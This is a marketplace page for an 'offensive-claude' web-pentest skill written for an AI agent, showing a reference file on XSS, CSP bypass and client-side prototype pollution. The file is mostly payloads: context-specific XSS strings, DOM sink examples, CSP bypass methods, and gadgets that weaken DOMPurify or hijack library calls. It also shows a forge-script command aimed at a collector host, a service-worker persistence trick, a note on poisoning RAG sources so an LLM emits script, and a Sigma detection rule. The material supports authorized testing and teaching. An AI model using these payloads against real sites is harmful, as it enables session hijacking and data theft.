hypnguyen1209/offensive-claude / skills/web-pentest
web-pentest
FlaggedUse when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 12.0 KB |
| references/auth-api-access-control.md | markdown | 14.9 KB |
| references/business-logic-abuse.md | markdown | 5.2 KB |
| references/http-desync-cache.md | markdown | 8.6 KB |
| references/injection-sqli-cmdi.md | markdown | 10.0 KB |
| references/proxy-mcp-integration.md | markdown | 3.1 KB |
| references/ssrf-cloud-metadata.md | markdown | 6.7 KB |
| references/ssti-deserialization.md | markdown | 7.0 KB |
| references/waf-bypass.md | markdown | 7.0 KB |
| references/xss-csp-clientside.md | markdown | 7.9 KB |
| references/xxe.md | markdown | 6.9 KB |
| scripts/desync_probe.py | script | 8.3 KB |
| scripts/graphql_audit.py | script | 6.2 KB |
| scripts/jwt_forge.py | script | 8.2 KB |
| scripts/proto_ssti_gadgets.py | script | 8.1 KB |
| scripts/race_single_packet.py | script | 5.4 KB |
| scripts/session_entropy.py | script | 7.9 KB |
| scripts/ssrf_toolkit.py | script | 8.3 KB |
| scripts/xss_csp_forge.py | script | 8.1 KB |
references/xss-csp-clientside.md
View on GitHub# XSS, CSP Bypass & Client-Side Prototype Pollution
Cluster: cross-site scripting (CWE-79) across all contexts, DOM XSS via client
sinks, Content-Security-Policy bypass, and client-side prototype pollution
(CWE-1321) escalated to XSS via library gadgets. Backing tool:
`scripts/xss_csp_forge.py`. ATT&CK: T1059.007 (JavaScript), T1185 (Browser
Session Hijacking).
## Theory / Mechanism
XSS executes attacker JavaScript in the victim's origin. Three classes:
reflected (input echoed in response), stored (persisted then served), DOM-based
(sink reached entirely client-side, often never touching the server). The 2024-2026
reality: server-rendered reflected XSS is increasingly filtered/escaped by
frameworks, so the live surface shifted to **DOM XSS** (SPA sinks), **mutation/
sanitizer bypass** (DOMPurify config gadgets, mXSS), and **client-side prototype
pollution -> script-gadget** chains where the actual injection is a benign-looking
`__proto__` parameter.
## Context-Specific Payloads
```
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
```
```html
<!-- HTML body --> <img src=x onerror=alert(document.domain)>
<svg onload=alert(1)> <details open ontoggle=alert(1)>
<!-- attribute --> " onfocus=alert(1) autofocus x="
<!-- JS string --> ';alert(1)// '-alert(1)-' ${alert(1)} (template literal)
<!-- URL/href --> javascript:alert(document.domain)
<!-- WAF evasion --> <svg onload=alert`1`> <img src=x onerror=eval(atob('YWxlcnQoMSk='))>
```
## DOM XSS — sinks & sources
Sources: `location.hash/search`, `document.referrer`, `postMessage` data,
`URLSearchParams`, `localStorage`. Sinks: `innerHTML`, `outerHTML`,
`document.write`, `eval`, `setTimeout(str)`, `el.src/href`, `jQuery $(x)`,
`$.html()`, Angular/Vue template compilation.
```javascript
// hash -> innerHTML
location = "https://t/#<img src=x onerror=alert(document.domain)>";
// postMessage handler with no origin check
targetWindow.postMessage("<img src=x onerror=alert(1)>", "*");
```
Hunt with DevTools breakpoints on sinks, or static dataflow (semgrep/CodeQL JS
taint). The repo's vulnerability-analysis skill covers source-to-sink tracing.
## CSP Bypass
```
python3 scripts/xss_csp_forge.py csp "default-src 'self'; script-src 'self' 'unsafe-inline'"
```
Common bypass classes (CWE-1021 / weak CSP):
- `'unsafe-inline'` with no nonce/hash -> inject inline `<script>` directly.
- `'unsafe-eval'` -> Angular sandbox-escape / `eval` gadgets.
- Nonce present -> hunt nonce reuse, dangling-markup leak, or cached nonce reuse.
- Allow-listed CDN (`*.googleapis.com`, `cdnjs`, `unpkg`) -> JSONP endpoint or
AngularJS script gadget (`angular.min.js` + `ng-app` attribute on injected DOM).
- No `base-uri` -> inject `<base href=//atk>` to hijack relative `<script>` loads.
- `script-src 'self'` -> upload a `.js`, or find a same-origin endpoint that
reflects JS (open-redirect-to-JSON, JSONP), then load it.
- No/weak `object-src` -> `<object data=>`/`<embed>` plugin/SVG vectors.
## Client-Side Prototype Pollution -> XSS
```
python3 scripts/xss_csp_forge.py proto
```
Inject `Object.prototype` properties via `?__proto__[x]=y`,
`?constructor[prototype][x]=y`, or polluted JSON merge; then a **script gadget**
in a trusted library reads that property and executes.
```
# detect: ?__proto__[test]=123 then check {}.test in console
# jQuery .html gadget
?__proto__[innerHTML]=<img/src/onerror=alert(1)>
# lodash _.template gadget
Object.prototype.sourceURL = '
alert(1)//'
# DOMPurify config gadget (weaken sanitizer)
Object.prototype.ALLOWED_ATTR = ["onerror","src"]
# Google Analytics hitCallback gadget
?__proto__[hitCallback]=alert(document.domain)
```
## Modern 2024-2026 Variants
- **Script-gadget-driven CSP bypass**: even strict nonce-based CSP falls when a
trusted, allow-listed script reads attacker-controlled DOM/object data
(Lekies/Heiderich "Script Gadgets" lineage, still the dominant strict-CSP
bypass class in 2024-2026). Prototype pollution is the most reliable trigger.
- **mXSS / sanitizer bypass**: DOMPurify and similar are periodically bypassed
via HTML namespace confusion (`<svg>`/`<math>`/template) and mutation on
reparse; treat the sanitizer *version* as in-scope and check the changelog.
- **Mass-assignment of sanitizer config via prototype pollution** (above) is a
current, high-value chain because it does not need a classic injection point.
- Trusted Types (Chrome) is increasingly deployed as defence — when present,
DOM-sink XSS requires a Trusted-Types policy bypass or a default-policy gadget.
- **LLM-generated content XSS / RAG poisoning**: an attacker poisons a vector DB (or crafts a prompt)
so the LLM's response contains `<script>...</script>` which the app renders without sanitization.
This is a genuinely new class: the injection point is the RAG source, the sink is the LLM output
rendered as HTML. See `ai-agent-redteam` for the full LLM attack taxonomy.
- **Speculation Rules API abuse (Chrome 121+):** `<script type="speculationrules">{"prefetch":
[{"source":"list","urls":["https://victim/xss?payload=<script>"]}]}</script>` — triggers a prefetch
with an XSS payload, possibly cached.
- **Wasm-assisted filter bypass**: encode XSS gadgets in WebAssembly, instantiate at runtime via
`WebAssembly.instantiate()` — keyword filters that scan JS source miss compiled Wasm.
- **Service Worker persistence XSS**: `navigator.serviceWorker.register("/evil-sw.js")` — if an XSS
can register a SW, the payload persists across page loads and survives cache clears until the SW is
unregistered. High-impact escalation from transient → persistent.
### Framework dangerous-API reference (2024-2026)
| Framework | Dangerous pattern | Note |
|-----------|-------------------|------|
| React 19 | `dangerouslySetInnerHTML`, `use()` hook with unsanitized data | concurrent rendering races |
| Vue 3.4+ | `v-html`, dynamic `:is="..."` | Composition API refs |
| Svelte 5 | `{@html ...}`, runes `$state`/`$derived` with HTML | |
| Next.js 15 | Server Actions, RSC serialization, `next/script strategy="beforeInteractive"` | |
| Angular 17 | `bypassSecurityTrust*`, `[innerHTML]` | |
| Astro 4.x | `set:html`, framework islands with unescaped props | |
| Remix 2.x | Loader data XSS, `<Scripts/>` inline data, Form action injection | |
## Detection (Blue Team)
IOCs: `<script`, `onerror=`, `javascript:`, `__proto__`/`constructor[prototype]`
in request params; CSP `report-uri`/`report-to` violation reports; outbound
beacons to unknown collectors carrying `document.cookie`.
```yaml
title: Reflected XSS / Prototype-Pollution Param Probe
logsource: { category: webserver }
detection:
xss:
cs-uri-query|re: '(?i)(<script|onerror=|onload=|javascript:|<svg|<img[^>]+src)'
pp:
cs-uri-query|re: '(?i)(__proto__|constructor\]\[prototype\]|\bprototype\b\[)'
condition: xss or pp
level: medium
```
Defensive wins: enforce CSP `report-to`; alert on Trusted-Types violations;
WAF-decode params before matching (handle URL/HTML/Unicode normalisation).
## OPSEC
- Reflected XSS PoCs with `alert(1)` are fine for reports but `document.cookie`
exfil to a collector is logged at the egress and CSP report endpoint — use a
scoped, attributable collector for authorized tests.
- Blind XSS hooks (admin-panel triggers) sit dormant; document where they were
planted and remove the stored payload during cleanup.
- Prototype-pollution probes (`__proto__`) can break the page for *all* users if
they pollute shared client state on a cached page — avoid persistent pollution
on shared/SSR-cached responses.
- CSP report-uri telemetry will show your probes; expect them to be reviewed.
## References
- PortSwigger Web Security Academy — XSS, CSP, DOM-based vulnerabilities,
client-side prototype pollution.
- Google Security "Script Gadgets" research (CSP bypass via trusted scripts).
- DOMPurify changelog / advisories (sanitizer bypass tracking).
- W3C Trusted Types specification.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |